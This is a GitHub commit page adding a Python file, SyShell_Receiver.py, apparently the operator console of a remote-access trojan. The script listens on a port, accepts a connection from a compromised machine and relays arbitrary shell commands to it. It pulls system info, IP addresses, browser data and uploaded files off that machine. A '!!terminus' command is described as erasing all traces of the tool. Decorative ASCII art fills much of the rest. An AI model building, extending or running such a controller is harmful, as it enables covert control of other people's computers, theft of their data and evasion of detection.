Skip to content

Commit 885bab4

Browse files
authored
Add files via upload
1 parent 67b8d10 commit 885bab4

File tree

4 files changed

+701
-0
lines changed

4 files changed

+701
-0
lines changed

SyShell_Receiver.py

+302
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,302 @@
1+
import socket
2+
import subprocess
3+
import os
4+
import time
5+
6+
class Colors:
7+
RESET = "\033[0m"
8+
BLACK = "\033[30m"
9+
RED = "\033[31m"
10+
GREEN = "\033[32m"
11+
YELLOW = "\033[33m"
12+
BLUE = "\033[34m"
13+
MAGENTA = "\033[35m"
14+
CYAN = "\033[36m"
15+
LIGHT_GRAY = "\033[37m"
16+
DARK_GRAY = "\033[90m"
17+
LIGHT_RED = "\033[91m"
18+
LIGHT_GREEN = "\033[92m"
19+
LIGHT_YELLOW = "\033[93m"
20+
LIGHT_BLUE = "\033[94m"
21+
LIGHT_MAGENTA = "\033[95m"
22+
LIGHT_CYAN = "\033[96m"
23+
WHITE = "\033[97m"
24+
BRIGHT_BLACK = "\033[90m"
25+
BRIGHT_RED = "\033[91m"
26+
BRIGHT_GREEN = "\033[92m"
27+
BRIGHT_YELLOW = "\033[93m"
28+
BRIGHT_BLUE = "\033[94m"
29+
BRIGHT_MAGENTA = "\033[95m"
30+
BRIGHT_CYAN = "\033[96m"
31+
BRIGHT_WHITE = "\033[97m"
32+
33+
34+
35+
def Intro():
36+
print(f"""{Colors.RED}
37+
░██████╗██╗░░░██╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
38+
██╔════╝╚██╗░██╔╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
39+
╚█████╗░░╚████╔╝░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
40+
░╚═══██╗░░╚██╔╝░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
41+
██████╔╝░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
42+
╚═════╝░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
43+
{Colors.RESET}{Colors.BLUE}
44+
Use "help" to get started.
45+
By Sytaxus / cmdsnr.
46+
{Colors.RESET}
47+
""")
48+
sendSpecificCommandName('sysinfo')
49+
print('\n')
50+
51+
"""
52+
ascii
53+
"""
54+
55+
def tanker():
56+
print("""
57+
░░░░░░███████ ]▄▄▄▄▄▄▄▄
58+
▂▄▅█████████▅▄▃▂
59+
[███████████████████].
60+
◥⊙▲⊙▲⊙▲⊙▲⊙▲⊙▲⊙◤..
61+
""")
62+
63+
def casht():
64+
print("""
65+
⠀⠀⠀⠀⠀⠀⠀⠙⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
66+
⠀⠀⠀⠀⠀⠀⠀⠀⢺⣿⣿⡆⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
67+
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⣾⢡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢢⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
68+
⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣷⡦⠀⠀⠀⠀⢰⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠃⣠⣾⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
69+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣆⠀⠀⠀⣾⣿⣿⣿⣷⠄⠀⠰⠤⣀⠀⠀⣴⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
70+
⠀⠀⠀⠀⠀⠀⠀⠀⠃⢺⣿⣿⣿⣿⡄⠀⠀⣿⣿⢿⣿⣿⣦⣦⣦⣶⣼⣭⣼⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀
71+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣷⡆⠂⣿⣿⣞⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀
72+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢙⣿⣿⣿⣿⣷⠸⣿⣿⣿⣿⣿⣿⠟⠻⣿⣿⣿⣿⡿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀
73+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⢿⣿⣿⣿⣿⡄⣿⣿⣿⣿⣿⣿⡀⢀⣿⣿⣿⣿⠀⢸⣿⣿⠅⠀⠀⠀⠀⠀⠀⠀⠀
74+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀
75+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢐⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀
76+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
77+
⠀⠀⠀⠀⠀⠀⠀⢀⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
78+
⠀⠀⠀⠀⠀⡀⣠⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡔⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
79+
⠀⠀⠀⠀⠀⢁⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
80+
⠀⠀⠀⠀⠠⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀
81+
⠀⠀⠀⠀⣀⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀
82+
⠀⠀⠀⠀⣻⣿⣿⣿⣿⣿⡟⠋⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠙⢿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀
83+
⠀⠀⠀⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⠿⢿⡿⠛⠋⠁⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣅⠀⠀⠀⠀⠀
84+
⠀⠀⠀⣿⣿⣿⣿⡟⠃⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣿⣿⣿⣿⣤⡀⠀⠀⠀
85+
⠀⠜⢠⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣦⠄⣠⠀
86+
⠠⢸⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿
87+
⠀⠛⣿⣿⣿⡿⠏⠀⠀⠀⠀⠀⠀⢳⣾⣿⣿⣿⣿⣿⣿⡶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿
88+
⠀⢨⠀⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⡿⡿⠿⠛⠙⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⠏⠉⠻⠿⠟⠁
89+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
90+
""")
91+
92+
def hashct():
93+
print(f"""{Colors.BRIGHT_WHITE}
94+
⠀⠀⠀⢠⣾⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
95+
⠀⠀⣰⣿⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
96+
⠀⢰⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
97+
⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
98+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
99+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣄⣀⣀⣤⣤⣶⣾⣿⣿⣿⡷
100+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁
101+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀
102+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀
103+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀
104+
⣿⣿⣿⡇⠀⡾⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀
105+
⣿⣿⣿⣧⡀⠁⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀
106+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠉⢹⠉⠙⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀
107+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣀⠀⣀⣼⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀
108+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀
109+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
110+
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠀⠤⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
111+
⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⠿⠋⢃⠈⠢⡁⠒⠄⡀⠈⠁⠀⠀⠀⠀⠀⠀⠀
112+
⣿⣿⠟⠁⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⠈⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
113+
⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠀⠀⠀⠀{Colors.RESET}⠀⠀⠀⠀⠀⠀⠀⠀
114+
""")
115+
116+
def greener():
117+
print(f"""{Colors.GREEN}
118+
⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀
119+
⠀⠀⠀⠀⢀⣴⡾⠛⠛⠻⣶⣶⡿⠛⠛⢿⣶⣶⠟⠛⠛⢷⣦⡀⠀⠀⠀⠀
120+
⠀⠀⠀⠀⣾⠃⠀⣤⣴⠿⠀⣽⡇⠀⠀⢸⣯⠀⠿⣦⣤⠀⠘⣷⠀⠀⠀⠀
121+
⠀⠀⠀⠀⣿⡠⠾⠟⠛⣠⡾⠋⠀⠀⠀⠀⠙⢷⣄⠛⠻⠷⢄⣿⠀⠀⠀⠀
122+
⠀⠀⢀⣴⡿⣷⣴⡶⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⢶⣦⣾⢿⣦⡀⠀⠀
123+
⠀⣠⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣄⠀
124+
⢰⡿⠁⢀⣴⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣦⡀⠈⢿⡆
125+
⢺⡇⠀⣿⡿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⢿⣿⠀⢸⡗
126+
⠈⢿⣦⡉⠁⠈⠉⠛⠷⣶⣦⣤⣄⣀⣀⣠⣤⣴⣶⠾⠛⠉⠁⠈⢉⣴⡿⠁
127+
⠀⠀⠙⠻⣦⣄⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⣠⣴⠟⠋⠀⠀
128+
⠀⠀⠀⠀⠈⠻⣿⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⡶⣿⡟⠁⠀⠀⠀⠀
129+
⠀⠀⠀⠀⠀⠀⢹⡇⠉⠙⠻⠷⢶⣶⣶⡶⠾⠟⠋⠉⢸⡟⠀⠀⠀⠀⠀⠀
130+
⠀⠀⠀⠀⠀⠀⠸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡇⠀⠀⠀⠀⠀⠀
131+
⠀⠀⠀⠀⠀⠀⠀⠙⠻⣦⣤⣤⣀⣀⣀⣀⣠⣤⣴⠿⠋⠀⠀⠀⠀⠀⠀⠀
132+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀{Colors.RESET}⠀⠀
133+
""")
134+
print(f"{Colors.GREEN}Loading . . . .{Colors.RESET}")
135+
136+
def pythonn():
137+
print(f"""{Colors.YELLOW}
138+
⠀⠀⠀⠀⠀⠀⠀⢀⣤⣴⣶⣶⣶⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
139+
⠀⠀⠀⠀⠀⠀⢀⣾⠟⠛⢿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀
140+
⠀⠀⠀⠀⠀⠀⢸⣿⣄⣀⣼⣿⣿⣿⣿⣿⣿⣿⠀⢀⣀⣀⣀⡀⠀⠀
141+
⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⣿⣿⣿⣿⣿⠀⢸⣿⣿⣿⣿⣦⠀
142+
⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢸⣿⣿⣿⣿⣿⡇
143+
⢰⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⠿⠿⠿⠿⠿⠋⠀⣼⣿⣿⣿⣿⣿⡇
144+
⢸⣿⣿⣿⣿⣿⡿⠉⢀⣠⣤⣤⣤⣤⣤⣤⣤⣴⣾⣿⣿⣿⣿⣿⣿⡇
145+
⢸⣿⣿⣿⣿⣿⡇⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀
146+
⠘⣿⣿⣿⣿⣿⡇⠀⣿⣿⣿⣿⣿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠋⠁⠀⠀
147+
⠀⠈⠛⠻⠿⠿⠇⠀⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⣿⡇⠀⠀⠀⠀⠀⠀
148+
⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣿⠇⠀⠀⠀⠀⠀⠀
149+
⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀{Colors.RESET}⠀⠀
150+
""")
151+
152+
"""
153+
ascii end
154+
"""
155+
156+
"""
157+
COMMANDS.
158+
"""
159+
def clear_screen():
160+
if os.name == 'nt':
161+
_ = os.system('cls')
162+
else:
163+
_ = os.system('clear')
164+
165+
def manual():
166+
command_available = ['echo','clear','cmd/exitcmd','!browser','filebin <BinID> <FilePath/FileName>','sysinfo : System Informations','exit','!!terminus (removes all traces of the tool in the session.)']
167+
168+
for index,command in enumerate(command_available):
169+
print(f"{index + 1}. {command}\n")
170+
171+
"""
172+
COMMANDS --- END
173+
"""
174+
175+
176+
"""
177+
SHELL
178+
"""
179+
180+
def send_command(command):
181+
client_socket.send(command.encode())
182+
183+
def receive_response():
184+
return client_socket.recv(4096).decode()
185+
186+
def sendSpecificCommandName(command):
187+
send_command(command)
188+
response =receive_response()
189+
print(f"{response}")
190+
191+
host = '0.0.0.0'
192+
port = 8888
193+
194+
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
195+
server_socket.bind((host, port))
196+
server_socket.listen(1)
197+
print("Listening for incoming connections...")
198+
199+
client_socket, client_address = server_socket.accept()
200+
print(f"Connection established with {client_address}")
201+
202+
try:
203+
clear_screen()
204+
hashct()
205+
userslash = None
206+
while not userslash:
207+
try:
208+
userslash = input(f'{Colors.BRIGHT_CYAN}Enter your shell name:{Colors.RESET} ')
209+
if not userslash:
210+
print("Shell name cannot be empty. Please try again.")
211+
except Exception as e:
212+
print(f'Error: {e}')
213+
print("An error occurred. Please try again.")
214+
215+
clear_screen()
216+
217+
greener()
218+
219+
time.sleep(5)
220+
clear_screen()
221+
Intro()
222+
223+
while True:
224+
command_input = f"{Colors.BLUE}{userslash} >{Colors.RESET} "
225+
command = input(command_input)
226+
if command.lower() == 'exit':
227+
send_command(command)
228+
break
229+
elif command.lower() == 'help':
230+
clear_screen()
231+
greener()
232+
time.sleep(3)
233+
clear_screen()
234+
pythonn()
235+
manual()
236+
elif command.lower() == 'clear':
237+
clear_screen()
238+
elif command.lower() == 'getip':
239+
send_command(command)
240+
response =receive_response()
241+
print(f"{response}")
242+
elif command.lower() == 'sysinfo':
243+
send_command(command)
244+
response = receive_response()
245+
print(f"{response}")
246+
elif command.lower().startswith('echo '):
247+
message = command[5:]
248+
print(message)
249+
elif command.startswith('!browser'):
250+
print('Command sent.')
251+
send_command(command)
252+
response = receive_response()
253+
print(f"reponse from winshell: {response}")
254+
elif command.startswith("!!terminus"):
255+
print("Command Sent.")
256+
send_command(command)
257+
response = receive_response()
258+
print(f"Response: {response}")
259+
break
260+
elif command.lower() == 'cmd':
261+
print("Entering CMD mode. Type 'exitcmd' to return.")
262+
while True:
263+
cmd_command = input(f"{Colors.MAGENTA}CMD >{Colors.RESET}")
264+
if cmd_command.lower() == 'exitcmd':
265+
break
266+
if not cmd_command.strip():
267+
print("No command entered. Try again.")
268+
continue
269+
send_command(cmd_command)
270+
response = receive_response()
271+
print(response)
272+
elif command.startswith('filebin'):
273+
print(f"Sending upload command: {command}")
274+
send_command(command)
275+
response = receive_response()
276+
print(f"Response: {response}")
277+
elif command.startswith('upload'):
278+
_, filename = command.split(maxsplit=1)
279+
client_socket.send(b"READY")
280+
file_size_str = client_socket.recv(1024).decode()
281+
try:
282+
file_size = int(file_size_str)
283+
client_socket.send(b"ACK")
284+
285+
received_size = 0
286+
with open(filename, 'wb') as f:
287+
while received_size < file_size:
288+
data = client_socket.recv(4096)
289+
if not data:
290+
break
291+
f.write(data)
292+
received_size += len(data)
293+
print(f"File {filename} has been uploaded successfully.")
294+
except ValueError:
295+
print(f"Error: expected file size, received {file_size_str}")
296+
else:
297+
print("Unknown command. Please use 'help' to receive all of the commands.")
298+
finally:
299+
client_socket.close()
300+
server_socket.close()
301+
print("Connection closed.")
302+

0 commit comments

Comments
 (0)